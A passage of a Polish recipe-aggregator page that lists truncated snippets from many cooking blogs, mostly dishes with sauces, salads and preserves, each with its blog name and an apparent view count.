pół i przekładamy do miseczki. Dodajemy szczypiorek i drobno pokrojoną szalotkę. W osobnej miseczce mieszamy jogurt, majonez i przyprawy. Próbujemy, opcjonalnie doprawiamy (ja zawsze dodaję więcej pieprzu). Nasz sos dodajemy do reszty składników, mieszamy i podajemy. Smacznego

Słodkie okruszki
Zapiekany bakłażan 122

Toskańskie wakacje i już myślę o powrocie w tamte strony. Zachęcam wszystkich do odwiedzenia tego rejonu Włoch:) Dzisiaj przygotowałam po raz kolejny bakłażana. Tym razem zapiekany i podany z sosem ziołowym. Danie szybkie, lekkie i proste. … Czytaj dalej Zapiekany bakłażan Artykuł Zapiekany bakłażan pochodzi z serwisu gotuj-ze-mna-blog

gotuj ze mną
Tagliatelle z sosem cukiniowym i szparagami 172

przekrojone wzdłuż na pół. Odparowujemy nadmiar płynu na średnim ogniu. Śmietankę mieszamy z żółtkiem, sokiem z cytryny oraz posiekanymi ziołami. Dodajemy do warzyw i mieszamy do połączenia. Gdy sos zacznie gęstnieć ściągamy z ognia i doprawiamy solą oraz pieprzem. Łączymy z ugotowanym makaronem. Każdą porcję posypujemy parmezanem- tartym lub wiórkami

Kuchnia w czekoladzie
Rolada serowa z nadzieniem pieczarkowym 226

pieczenia i piec w piekarniku nagrzanym do 190 stopni przez kolejne 12-15 minut. Gotową roladę delikatnie wystudzić i pokroić w około 1,5cm kawałki. Podawać z ulubionymi sosami. Smacznego Rolada serowa z nadzieniem pieczarkowym Rolada serowa z nadzieniem pieczarkowym Rolada serowa z nadzieniem pieczarkowym Rolada serowa z nadzieniem pieczarkowym Artykuł Rolada serowa z nadzieniem pieczarkowym pochodzi z serwisu Kulinarne

Smaki Armine
Ziemniaki po nelsońsku 193

ziele i pieprz, dusić do miękkości. 4. Ugotowane ziemniaki przestudzić. 5. Dno i boki formy posmarować tłuszczem. 6. Przestudzone ziemniaki pokrajać w talarki; 1/2 ułożyć na dnie rondla, polać sosem cebulowo - grzybowym, oprószyć solą i pieprzem. 7. Przykryć jajami, znów ułożyć warstwę ziemniaków, zalać śmietaną, wypiec w piekarniku. Wstawić do piekarnika nagrzanego do 180 stopni na około 40 minut. *kursywą

królestwo garów
Placki Nigelli z borówkami 191

Nigella proponuje wykonanie większej ilości mieszanki suchych składników i przechowywanie jej w słoju. Ja nie mam takiej potrzeby, bo placki robi się naprawdę szybko. Zdjęcia niżej przedstawiają placki z sosem również Nigelli. Polecam jednak polanie placków syropem klonowym i posypanie ich borówkami amerykańskimi bez podgrzewania. W ten sposób syrop nie będzie tak wsiąkać w placki. Składniki (na 8 placków

Weekendy w domu i ogrodzie
Pasta z dyniowatych i papryki (również do słoików na zimę) 252

plastiku. Dynię (ze skórą) i patisona (bez skóry) pokroić na byle jakie kawałki. Wrzucić do wysokiego naczynia. Z papryk zdjąć skórki. Dodać je do dyni i patisona razem z sosem, który utworzy się we wgłębieniach papryk. Do warzyw dodać czubrycę, czosnek przeciśnięty przez praskę, paprykę wędzoną i ocet. Całość zmiksować na gładką masę. Pastę doprawić do smaku solą i ostrą

Weekendy w domu i ogrodzie
Kotlet selerowy nadziewany serem 142

zmniejszenie mięsa jest całkiem ok Jak widać da się wszystko pogodzić i można jeszcze wyciągnąć korzyści z takiego mariażu Polecam , naprawdę smaczna potrawa , a w bułce z sałatą i sosem jako hamburger to już naprawdę pychota składniki na 4- 5 kotletów : 1 średniej wielkości seler korzeniowy 4-5 plastrów żółtego sera o ostrym wyraźnym smaku , np cheddar ( grubych na około

Ogrodnik w podróży
Bagietki faszerowane szynką parmeńską, rukolą i mozzarellą 134

spożywczą, dzielimy na około 25-30 cm kawałki. Wierzch smarujemy niewielką ilością oleju. Na środku rozkładamy niewielką część rukoli, na nią kładziemy 1-2 plasterki szynki parmeńskiej, niewielką ilość sosu majonezowego, suszone pomidory oraz plastry mozzarelli. Zwijamy w roladę, niezbyt ściśle. Roladkę tę musimy umieścić w wydrążonej bagietce, w związku z tym przeciągamy jeden koniec przez środek bułki i wypełniamy

Smaki Na Talerzu
Filety z halibuta po normandzku 123

cząstki. Na patelni rozgrzałem masło, włożyłem jabłka i obsmażyłem je z obu stron na złoty kolor, uważając, aby się nie rozpadły. Filety ułożyłem na półmisku, obłożyłem cząstkami jabłek. Gęsty sos z gotowania ryb doprawiłem solą i pieprzem. Polałem filety i posypałem posiekanym szczypiorkiem

R'n'G Kitchen
Makaronowa pizza z białymi kiełbaskami 125

masą jajeczną. Na wierzch układamy warzywa, następnie wianuszek białych kiełbasek. Całość zapiekamy 45 min. w termoobiegu, następnie posypujemy startym parmezanem i zapiekamy 10 min, grzanie góra. Podajemy z sosem chrzanowym

R'n'G Kitchen
Co zjeść w Bari? 174

Niestety, okazało się, że to danie sezonowe i akurat sezonu na niego brak. W związku z tym spróbowałam innej wersji – orecchiette alla barese – to pasta z tradycyjnym sosem pomidorowym, sardynkami, ricottą i kaparami. Nie jestem ogromna fanką kaparów, ale akurat tutaj pasowały mi wyśmienicie. Jeśli chcecie spróbować tego dania to koniecznie zajrzyjcie do restauracji Bianciofiore . Oprócz lokalnej specjalności

365 dni dookoła kuchni
Naleśniki Bolognese 211

daniom, które już robiliśmy wcześniej, a które podawaliśmy zupełnie w innej odsłonie, np. z makaronem. Naleśniki Bolognese są bardzo łatwe, a właśnie poprzez swoją prostotę jest wyśmienite. Naleśniki z sosem bolognese możemy podawać jako zwykłe naleśniki z farszem, ale również możemy je zapiekać w całości z dodatkiem sera. Ja jednak w swoim przepisie zapraszam na naleśniki bez zapiekania. Polecamy

FoodMagazine.pl - Przepisy kulinarne
Sałatka z fasolki szparagowej i sera feta 144

Sałatka z fasolki szparagowej i sera feta – szybka, prosta i pyszna :) Wystarczy tylko kilka składników, by stworzyć pyszną sałatkę z fasolki szparagowej. Jeśli lubicie sos winegret jako dodatek do sałatek to koniecznie wypróbujcie ten przepis. The post Sałatka z fasolki szparagowej i sera feta appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Fasolka szparagowa z mięsem mielonym 348

Fasolka szparagowa z mięsem mielonym z sosem pomidorowym, to pomysł na pyszny i dość szybki w wykonaniu obiad. W smaku przypomina Spaghetti Bolognese. Takie danie, kiedy smaki się przegryzą, po odgrzaniu smakuje jeszcze lepiej. Koniecznie wypróbujcie The post Fasolka szparagowa z mięsem mielonym appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Pomidory krojone do słoików na zimę – domowe przetwory 239

zastanawiacie się państwo co można przygotować z pomidorów na zimę do słoików, to polecam wypróbować ten przepis, ponieważ w zimie i nie tylko, takie pomidory są idealne do przygotowania sosu do makaronu (zastąpią passatę), można z nimi ugotować zupę pomidorową lub przygotować pyszne chili con carne i wiele, wiele innych pysznych dań :). Do przygotowania pomidorów będziemy potrzebowali: z podanej porcji

Uwaga Babcia Gotuje
Gęsty, domowy sok pomidorowy 169

Dzisiaj chciałabym Wam polecić gęsty, domowy sok pomidorowy. Nadaje się do wszystkiego, do zupy pomidorowej, sosu pomidorowego, gołąbków czy nawet do picia. Składniki: 5 kg pomidorów 5 ząbków czosnku 2 łyżki soli 3 łyżki pietruszki suszonej 3 łyżki cukru (adsbygoogle = window.adsbygoogle || []).push({}); Wykonanie: Pomidory umyć, włożyć do garnka, wsypać sól, zagotować. Gotować na małym ogniu 20 minut. Następnie przetrzeć przez

Przepisy Babci
Cukinia faszerowana mięsem z kurczaka, papryką i komosą ryżową 192

nakładamy za pomocą łyżki do naszych wydrążonych cukinii. Wierzch posypujemy startym serem.  6. Wkładamy do nagrzanego do 180 stopni piekarnika i pieczemy około 40 minut. Podajemy z ulubionym sosem. Smacznego

kruche babeczki
Strogonow 190

minut, aż mięso będzie miękkie. Jeśli robimy z polędwicy to gotować na pewno krócej.  Następnie dodać śmietanę, pieprz, sól i gotować jeszcze około 10 minut, aby sos się zagęścił. Po ugotowaniu przykryć i odczekać około 7 minut, aby zatrzymał się proces gotowania, wtedy mięso będzie miękkie i soczyste. Podawać z chrupiącą bagietką lub razowym chlebem. * szklanka - 250 ml ** łyżka

Gotuj w domu
Jednogarnkowe spaghetti z cukinią 182

minut. W międzyczasie podpraż słonecznik na suchej patelnii. Po 15 mintach zdejmij pokrywę z gara i gotuj do odparowania nadmiaru wody, miękkości makaronu i tym samym uzyskania idealnej konsystnecji sosu. Artykuł Jednogarnkowe spaghetti z cukinią pochodzi z serwisu %%http://www.greenscarf.pl/%%.

greenscarf
Placuszki serowe z borówkami 117

drugą stronę. Smażyć do zrumienienia. Po usmażeniu posypać cukrem pudrem. Smacznego (adsbygoogle = window.adsbygoogle || []).push({}); To też może Cię zainteresować: → Pancakes z truskawkami → Racuchy z jabłkami → Racuchy dyniowe z sosem pomarańczowym → Naleśniki z płatków kukurydzianych z twarożkiem i czarną porzeczką → Zapiekane naleśniki czekoladowe z migdałowym twarożkiem i czereśniami

Oryginalny smak
Tort "Leśny mech" / "Forest moss" cake 672

około 1 szkl. malin garść jeżyn garść borówek Szpinak umyj i dobrze osusz. Włóż do wąskiego i wysokiego naczynia, wlej olej i zmiksuj dokładnie blenderem, aż powstanie gładki zielony sos. Dno tortownicy wyłóż papierem do pieczenia wypuszczając jego brzegi poza obręcz. Nie natłuszczaj papieru i brzegów tortownicy. Piekarnik rozgrzej do 180°C. Całe jajka wbij do misy miksera. dosyp cukier

Delicious Place
Wątroba wieprzowa z cebulką w sosie własnym 118

pszenna papryka słodka czerwona sól, pieprz pół łyżeczki cukru olej rzepakowy pół szklanki wody Wątrobę umyć, osuszyć papierowym ręcznkiem, pokroić na kawałki ( The post Wątroba wieprzowa z cebulką w sosie własnym appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Cannelloni z mięsem mielonym w sosie pomidorowym 136

smakuje! Składniki Mięso mielone z szynki 500g Rurki cannelloni 14-15 Sok pomidorowy zagęszczony 500g Czosnek 3 ząbki Cebula 2 cebule The post Cannelloni z mięsem mielonym w sosie pomidorowym appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Roladki schabowe z boczkiem i mozzarellą w sosie pomidorowym 120

razem dodatek stanowił u mnie boczek parzony i mozzarella . Składniki Schab 10 plastrów Boczek parzony w plastrach 1 opakowanie The post Roladki schabowe z boczkiem i mozzarellą w sosie pomidorowym appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Gulasz z serduszek drobiowych 106

Gulasz z serduszek drobiowych – pyszny gulasz drobiowy w sosie śmietanowym. Gulasz z serduszek drobiowych – Składniki Serduszek z kurczaka 1kg (przed oczyszczeniem) Cebula 1 duża cebula Olej 3 łyżki Bulion 200ml Ziele angie The post Gulasz z serduszek drobiowych appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Quesadilla (tortilla) z salami i serem 107

Quesadilla jest to danie kuchni meksykańskiej, tortilla z masy kukurydzianej z roztopionym serem. Tradycyjnie stosuje się ser typu Oaxaca, lecz bywa on zastępowany również innymi rodzajami

Kulinarne Przeboje
Przekąski na imprezę. Rożki tortilli z szynką. 140

Rożki tortilli z szynką, mixem sałat, pomidorem, ogórkiem i papryką, z sosem majonezowo-musztardowym. Super przekąska na Andrzejki, Sylwestra, czy inną imprezę. Składniki Tortilla kilka dużych placków Majonez 3 łyżki Musztarda delika The post Przekąski na imprezę. Rożki tortilli z szynką. appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Schab duszony. Schab w sosie. 141

łyżeczki Majeranek ok. 2 łyżeczki Bulion mięsny 600ml Woda ok. 100ml Marchew 3 duże sztuki Pieprz do smaku Sól do smaku Zie The post Schab duszony. Schab w sosie. appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Paluszki z kurczaka w sezamie 138

Paluszki z kurczaka w sezamie – pomysł na `finger food` na nadchodzącego Sylwestra. Świetnie komponują się z sosem czosnkowym lub słodko-pikantnym. Przyprawę ziołową do kurczaka można zastąpić zwykłą przyprawą do kurczaka lub prz The post Paluszki z kurczaka w sezamie appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Pesto z suszonych pomidorów. Pesto sycylijskie. 85

Pesto z suszonych pomidorów. Pesto sycylijskie. Czerwone pesto z suszonych pomidorów – idealnie pasuje do makaronów i grzanek. Tradycyjne pesto, czyli pesto alla genovese to zielony sos pochodzący z Genui we Włoszech, którego głównym składniki The post Pesto z suszonych pomidorów. Pesto sycylijskie. appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Ryba na cieście francuskim 102

Ryba na cieście francuskim, w tym przypadku sola (ale możecie użyć każdą inną białą rybę, np. dorsza). Z reguły do sosu śmietankowo-koperkowego używam słodką śmietanę, tym razem jednak skorzystałam z kwaśnej, gęstej śmietany, co nadało potrawie ciek The post Ryba na cieście francuskim appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Niskokaloryczna sałatka do pracy lub do obiadu 144

obiadu – Sałatka ta w 1 porcji (300g) ma zaledwie 176kcal. Stanowi świetny dodatek do obiadu, np. do siekanych kotletów. Jeśli sałatkę zamierzamy wziąć do pracy, to polecam sos przygotować w osobnym poje The post Niskokaloryczna sałatka do pracy lub do obiadu appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Pieczeń z cukinii i marchewki 151

cukinii i marchewki to pomysł na tani, wegetariański obiad. Farsz radzę mocniej doprawić, aby nie był mdły w smaku. Poniższa pieczeń świetnie smakuje podana na ciepło, np. z sosem pieczarkowym.  Składniki na 6 porcji: 3 sztuki młodej cukinii (około 1 kg) 1 duża marchewka 1 cebula 3/4 szklanki bułki tartej (100 g) 1/3 szklanki kaszy manny

Ugotować
SAŁATKA Z OGÓRKÓW Z CURRY 188

słodkiej papryki to bardzo aromatyczna sałatka, o słodko pikantnym smaku, jest bardzo prosta w przygotowaniu, która uda się każdemu. Sałatka pasuje idealnie to różnego rodzaju mięs pieczonych, smażonych, sosów oraz świetnie komponuje się jako dodatek do hamburgerów czy też hot-dogów. Z podanego przepisu wchodzi ok. 13 słoików 500ml. SAŁATKA Z OGÓRKÓW Z CURRY – PRZEPIS Składniki: 5kg ogórków gruntowych

Księga-Smaku
Burrata z pomidorami i brzoskwiniami 141

Zapraszam do wszystkich moich  przepisów na sałatki .  Polecam Wam także: –  sałatka z pieczonym burakiem i kozim serem –  sałatka gyros –  sałatka cezar z kurczakiem –  sos do sałatki –  pieczone faszerowane bataty –  sałatka z pieczonym kalafiorem –  sałatka z gruszką i gorgonzolą –  sałatka ze szparagami i jakiem –  sałatka kebab –  sałatka brokułowa

nietylkopasta.pl
Kotlety z czarnej fasoli 123

Pyszne kotlety z czarnej fasoli zadowolą każdego smakosza i niejadka w jednym. Są ładne, pożywne i szybko znikają. Idealne z sosem czosnkowym lub innym ulubionym, polecam. Podano kotlety z czarnej fasoli, zapraszam. CZYTAJ DALEJ

Moje Małe Czarowanie
Najprostszy deser z mango i malinami wg Aleex 166

dorodne owoce, odłożyć. 3. W miseczkach wymieszać maliny z kostkami mango. 4. Sok z owoców zmieszać z 1-2 łyżeczkami miodu i sokiem z cytryny – do smaku. 5. Powstałym sosem polać owoce. Wymieszać. 6. Serwować ozdobione listkami świeżej mięty. Smacznego

W mojej kuchni
Placuszki z kurczaka z pieczarkami - siekane kotlety z kurczaka 158

Szybko i sprawnie zrobimy pyszne kotlety/placuszki z kurczaka. Do tego najprostsza sałata i sos pomidorowy lub inny ulubiony i danie gotowe. Polecam na obiad czy wczesną kolację. Kurczakowe delicje. CZYTAJ DALEJ

Moje Małe Czarowanie
Ziemniaki hasselback 212

Ziemniaki hasselback zrobiły na świecie wielką karierę. Po upieczeniu z wierzchu są chrupkie, a w środku mięciutkie. Znakomicie smakują z zestawem surówek, jak i z sosem czosnkowym lub twarożkiem. Potrzebujemy

Tylko pysznie
Pyszna pasta z tuńczyka - na kanapki 209

kolejną pastę, którą robi się banalnie, a smakuje tak, że wyjada sie ją widelcem prosto z miski ;) Spróbujcie tuńczykowej pasty kanapkowej :) Składniki: 25dag białego sero półtłustego puszka tuńczyka w sosie własnym pęczek szczypiorku 3 jajka 3 średnie ogórki kiszone sól + pieprz  Przygotowanie: Przygotowanie pasty najlepiej zacząć od ugotowania jajek na twardo i ich przestudzenia. Kiedy będzie to gotowe, odsaczamy

ChilliJemy
duszone podudzia kurczaka-filety... 184

rumiano podudzia, następnie wlać wodę i pod przykryciem na mniejszym ogniu dusić z 30 minut, z dwa razy obrócić podudzia. Wywar z duszenia można zamrozić i później wykorzystać do sosu - podudzia kurczaka filety są doskonałym daniem na ciepło na obiad ale też i na zimno do pieczywa, do sałatek.........SMACZNEGO

W Mojej Kuchni Lubię
Fasolka po bretońsku 144

tyle by nie istniała, co nie byłaby taka sama. Przepisów na to danie jednogarnkowe jest całe mnóstwo, jednak tradycyjny przepis na fasolkę po bretońsku zawiera w sobie fasolę, sos pomidorowy i rozmaite dodatki, w postaci wędlin. Continue reading Fasolka po bretońsku at Blog kulinarny Kurkanielotka.pl

PysiaGotuje.pl
IDEALNE NALEŚNIKI BEZGLUTENOWE ZE ŚLIWKAMI NA GORĄCO 186

naleśniki, które możecie jeść zarówno w wersji na słodko, jak i na słono. Ja przygotowałam je dziś ze śliwkami, na które mamy sezon. Smakowały obłędnie takie oblane śliwkowo-karmelowym sosem! Idealny pomysł zarówno na leniwe śniadanie, jak i słodki obiad albo nawet deser. Dla mnie naleśniki są pomysłem na każdą okazję! A dla Was? Ps. Wykorzystałam do nich mąkę Mehl

Ostra na Słodko
Sałatka makaronowa z kurczakiem i ananasem 127

dodajemy jej zupełne minimum!). Ananasa kroimy w kostkę. W miseczce mieszamy majonez z jogurtem, solą i pieprzem. Wszystkie składniki sałatki umieszczamy w większej misce i dokładnie mieszamy. Jeżeli „sosu” będzie za mało, dodajmy jeszcze trochę majonezu z jogurtem. Tak przygotowaną sałatkę wstawiamy na co najmniej 1 godzinę do lodówki, by się przegryzła. Smacznego! Artykuł Sałatka makaronowa z kurczakiem

Be Fit Be Strong
Zapiekany makaron z tuńczykiem, papryką i kukurydzą 197

opis smacznego, szybkiego obiadu. Do tego dużą ciągnącego się sera, szczypta pikanterii z chili i aromat tymianku, połączenie idealne. Składniki (na 2 porcje): 200g makaronu kokardki puszka tuńczyka, w sosie własnym pół puszki kukurydzy połowa czerwonej papryki 1 duża cebula 2 łyżki oleju pół łyżeczki suszonego tymianku szczypta płatków chili kulka mozarelli 1/3 szklanki tartego parmezanu sól i pieprz

Smaczna Strona
Gołąbki z suchą kaszą i ryżem 134

garnka dodajemy liście laurowe, ziele angielskie, vegetę, passatę pomidorową, bulion. Całość gotujemy na malutkim ogniu, aż się ugotują, w razie potrzeby możemy podlać odrobiną wody aby były okryte. Sos nabierze smaku w czasie gotowania

Dziś Ja gotuje
Polędwica lub comber z jelenia w grzybach 308

schab. Ja wbijam w mięso termometr i gdy temperatura wewnątrz mięsa osiągnie 62 stopnie, wyjmuję je. Mięso wyjąć na półmisek i odłożyć na kilka minut, aby „odpoczęło”. Do sosu dodać śmietanę. zastawa

królestwo garów
Szakszuka polsko - hiszpańską z kapustą kiszoną i chorizo 160

wszyscy chyba wiedzą Shakshouka - czytaj: szakszuka , to danie znane w kuchni tunezyjskiej, izraelskiej, egipskiej i marokańskiej. Samo słowo oznacza “bałagan”. W skrócie to ugotowane jajka w lekko ostrym, pomidorowym sosie. Idealne, syte weekendowe śniadanie. U mnie w wersji polsko - hiszpańskiej, zapraszam gorąco bo jest naprawdę przepyszna, sycąca, aromatyczna, idealna. Polsko - hiszpańskie śniadanie z jajem. CZYTAJ DALEJ

Moje Małe Czarowanie
Placki warzywne po romsku 132

już zacznie się rumienić , a cebula zmięknie , wsypujemy oba rodzaje papryki i smażymy mieszając około minutki . Następnie wlewamy śmietanę , doprawiamy solą i dusimy pod przykryciem na małym ogniu , aż sos pięknie się zagęści . Serwujemy na gorąco z chrupiącymi plackami warzywnymi Smacznego ! Artykuł Placki warzywne po romsku pochodzi z serwisu Ogrodnik w podróży

Ogrodnik w podróży
Oliwki w cieście francuskim 204

Oliwki w cieście francuskim to pomysłowa, szybka przekąska. Świetnie się sprawdza na wszelkich imprezach i idealnie smakuje z sosem czosnkowym. Jeśli szukacie jeszcze innych inspiracji na sylwestrowe menu to polecam wpisy: Sałatki na Sylwestra oraz P The post Oliwki w cieście francuskim appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Krokiety ziemniaczane z brokułami 182

Krokiety ziemniaczane z brokułami to pyszna przekąska, która świetnie smakuje wraz z sosem czosnkowym. Idealnie nadaje się również jako dodatek do obiadu. Krokiety ziemniaczane z brokułami – Składniki: 1kg ziemniaków 500g brokuła The post Krokiety ziemniaczane z brokułami appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Prosta sałatka paprykowo – pomidorowa do grilla i nie tylko 131

Prosta sałatka paprykowo – pomidorowa do grilla i nie tylko! Można ją dowolnie modyfikować podając np. z różnymi sosami, bądź wzbogacając o inne warzywa. Zobacz również inne przepisy na sałatki na grilla tutaj -> Sałatki do grilla. The post Prosta sałatka paprykowo – pomidorowa do grilla i nie tylko appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Naleśniki Kebab 149

propozycja na wytrawne naleśniki, na które inspirację znalazłam w jeden z sieci naleśnikowych – Manekinie ;) W oryginale znajdziecie kapustę pekińską, kurczaka gyros, ogórka konserwowego oraz cebulkę i sos – u n The post Naleśniki Kebab appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Kotlety mielone z pieczarkami i serem 202

serem – pyszna alternatywa dla tradycyjnych kotletów mielonych. Można je podawać np. z ziemniakami puree (zobacz przepis na: kremowe, tłuczone ziemniaki), surówką z marchewki lub mizerią, a także z sosem pieczark The post Kotlety mielone z pieczarkami i serem appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Zapiekanka makaronowa z łososiem i szpinakiem 138

Zapiekanka makaronowa z łososiem i szpinakiem – chodziła za mną już od jakiegoś czasu :) Jest banalnie prosta, a makaron z kawałkami świeżego łososia, szpinakiem oraz śmietanowym sosem na pewno zasmakuje nie jednemu :) Może zaciekawi Was równie The post Zapiekanka makaronowa z łososiem i szpinakiem appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Frytki z piekarnika – chrupiące! 133

Frytki z piekarnika – chrupiące! i do tego zdrowsze od tradycyjnych! Jeśli lubicie takie smakołyki to polecam również przepis na: pieczone ziemniaki w piekarniku oraz chrupiące, grillowane ziemniaczki z sosem cebulowym Frytki z pi The post Frytki z piekarnika – chrupiące! appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Zapiekane tortille z mięsem mielonym 251

Zapiekane tortille z mięsem mielonym – to pomysł na sycący obiad :) Jeśli lubicie spaghetti z mięskiem mielonym w sosie pomidorowym, a przejadł Wam się już makaron, to polecam Wam właśnie to danie ;) Ser żółty można śmiało zastąpić mozzarellą w The post Zapiekane tortille z mięsem mielonym appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Przekąska z ciasta francuskiego i pieczarek – w 5 minut! 178

pieczarek, której przygotowanie zajmuje mniej niż 5 minut :) A potem wkładamy do piekarnika i po 10-15 minutach możemy zajadać się już pysznymi przekąskami :) Można je podawać z ulubionymi sosami lub wcinać same bez The post Przekąska z ciasta francuskiego i pieczarek – w 5 minut! appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Pesto z bazylii. Pesto bazyliowe. 117

Pesto z bazylii – Pesto bazyliowe – Pesto alla genovese – to nazwa tego samego, pysznego, oryginalnego, włoskiego, zielonego sosu przygotowanego na bazie bazylii, oliwy z oliwek, czosnku, soli i parmezanu. Jego głównym składnikiem s The post Pesto z bazylii. Pesto bazyliowe. appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Zrazy z mięsa mielonego. Oszukane zrazy. 127

Zrazy z mięsa mielonego, czyli tak zwane oszukane zrazy – często goszczą na niedzielnym stole u mojej Mamy z tą różnicą, że ona z reguły podaje je w ciemnym sosie :) U nas ostatnio żadnego duszonego mięska nie było, więc z braku sosiku podałam The post Zrazy z mięsa mielonego. Oszukane zrazy. appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Sałatka z brokułem i groszkiem 131

Sałatka z brokułem i groszkiem – prosta w wykonaniu sałatka, którą śmiało można wpakować w pudełeczko i zabrać jako danie do pracy. Możecie ją podawać ze swoim ulubionym sosem, np. czosnkowym, miodowo-musztardowym lub vinegrette. Jeśli lubicie The post Sałatka z brokułem i groszkiem appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Sałatka z brokułem i białą kiełbasą 137

Sałatka z brokułem i białą kiełbasą – to kolejna propozycja sałatki na Wielkanoc, z wykorzystaniem białej kiełbasy i pysznego sosu na bazie majonezu i chrzanu. Jeśli szukacie więcej inspiracji na zbliżającą się Wielkanoc, to polecam zajrzeć po The post Sałatka z brokułem i białą kiełbasą appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Bulion warzywny 118

Bulion warzywny – czyli po prostu wywar z jarzyn, zwany też bulionem jarzynowym – sam w sobie szału może nie robi, jednak stanowi świetną bazę do zup, sosów itp. ;-) Przepis na niego pojawił się już 5 lat temu na blogu, na samym początku The post Bulion warzywny appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Filety piersi z kurczaka a’la pizza 152

Filety piersi z kurczaka a’la pizza – to pyszne, soczyste filety z piersi kurczaka z mozzarellą i pieczarkami oraz sosem pomidorowym, podkreślającym smak całego dania :) Więcej przepisów na dania z kurczakiem znajdziecie tutaj: Kurczak &# The post Filety piersi z kurczaka a’la pizza appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Fit placki z cukinii wg Ewy Chodakowskiej 146

placki z cukinii wg Ewy Chodakowskiej – to prosty przepis na placuszki z cukinii podawane z sosem jogurtowo-ogórkowym. Przepis pochodzi z książki Ewy pt. “Zmień Swoje życie z Ewą Chodakowską”. Fit placki z cukinii wg Ewy Chodak The post Fit placki z cukinii wg Ewy Chodakowskiej appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Placki z cukinii z fetą. Kolokithokeftedes. 127

Placki z cukinii z fetą – czyli greckie placuszki z cukinii zwane kolokithokeftedes. W połączeniu z greckim sosem tzatziki tworzą pyszny duet, który polecam Wam na obiad lub kolację. Placki z cukinii z fetą – Kolokithokefted The post Placki z cukinii z fetą. Kolokithokeftedes. appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Kompot z wiśni na zimę do słoików. Wiśnie w syropie. 123

Kompot z wiśni na zimę do słoików. Wiśnie w syropie. – czyli wisienki w sosie własnym :) Idealne nie tylko na zimę, ale też na jesień i wiosnę, a nawet na lato :) Jako że są to wiśnie w syropie, to kompot ten oczywiście przed podaniem może być The post Kompot z wiśni na zimę do słoików. Wiśnie w syropie. appeared first

Kulinarne Przeboje
Bigos cygański. Klopsiki po cygańsku. 164

Bigos cygański, czyli inaczej klopsiki po cygańsku w pysznym sosie pomidorowym z duszonymi warzywami. Danie to, podobnie jak tradycyjny bigos, smakuje coraz lepiej z każdym dniem i odgrzewaniem :) Bigos po cygańsku świetnie się sp The post Bigos cygański. Klopsiki po cygańsku. appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Karmelowa tapioka 163

skrobi ziemniaczanej. Tapioka, neutralna w smaku, pozyskiwana jest z korzenia manioku. W sprzedaży dostać można ją w formie mąki i taką można wykorzystywać do przygotowywania kisieli, zagęszczania zup i sosów, a także do wypieków. Z kuleczek małych lub dużych przygotować można różne desery. Uprzednio należy je jednak odpowiednio przygotować. Ja tapiokę najpierw moczę w zimnej wodzie. Można zostawić

Kucharzyca
Kaszotto z mięsem z szybkowaru 212

tego dania można wcześniej obsmażyć, chociaż i bez tego wychodzi bardzo dobre i praktycznie rozpływa się w ustach. Dodany koncentrat nadaje przyjemnego, lekko pomidorowego smaku i dodatkowo zagęszcza sos. Danie jednogarnkowe, które łatwo zrobić, a do tego dobrze smakuje i niezbyt dużo kosztuje. Ilość porcji: 5 Czas przygotowania: 60 minut Składniki na kaszotto z mięsem z szybkowaru

Kuchcik gotuje
Gulasz z indyka z marchewką i suszonymi pomidorami 207

jeszcze chwilę całość smażyć. Zalać gorącą wodą, dodać ziele angielskie i liść laurowy. Dusić ok 30-40 minut. 3. Suszone pomidory drobniej pokroić, dodać wraz ze śmietanką do sosu. Chwilkę pogotować. Ewentualnie doprawić solą i pieprzem. Smacznego!!! Źródło: Kwestia smaku

Kuchnia domowa Ani
Kurczak w passacie pomidorowej z czerwoną fasolką 169

również wsypujemy do garnka. Dodajemy posiekaną natkę pietruszki oraz przyprawy – sól, pieprz, słodką czerwoną paprykę oraz czosnek granulowany. Całość dusimy na wolnym ogniu do miękkości warzyw i mięsa. Gdy sos za bardzo zgęstnieje możemy podlać go odrobiną wody

VioletoweKucharzenie
Zupa pomidorowa ze świeżych pomidorów z fasolą 171

naciąć, sparzyć wrzątkiem, obrać i pokroić na drobne kawałki. Na rozgrzanym maśle klarowanym podsmażyć pomidory, do momentu, aż sok lekko odparuje (nie do końca, to nie ma być gęsty sos). Rosół zagotować, dodać podsmażone pomidory (wcześniej można przetrzeć przez sito, aby pozbyć się pestek- jeżeli komuś przeszkadzają) oraz odcedzoną fasolę i gotować 2 minuty. Doprawić solą oraz cukrem. Smacznego

Kraina Miodem Płynąca
WYTRAWNE MUFFINY GRYCZANE Z WARZYWAMI 166

muffiny i nakładać łyżką masę do 3/4 wysokości. Piec w rozgrzanym do 200 stopni C piekarniku z funkcją termoobiegu przez 10-12 minut. Podawać na ciepło z dodatkiem ulubionego sosu.  Smacznego

Banana Smiles
Leczo z fasolką szparagową 192

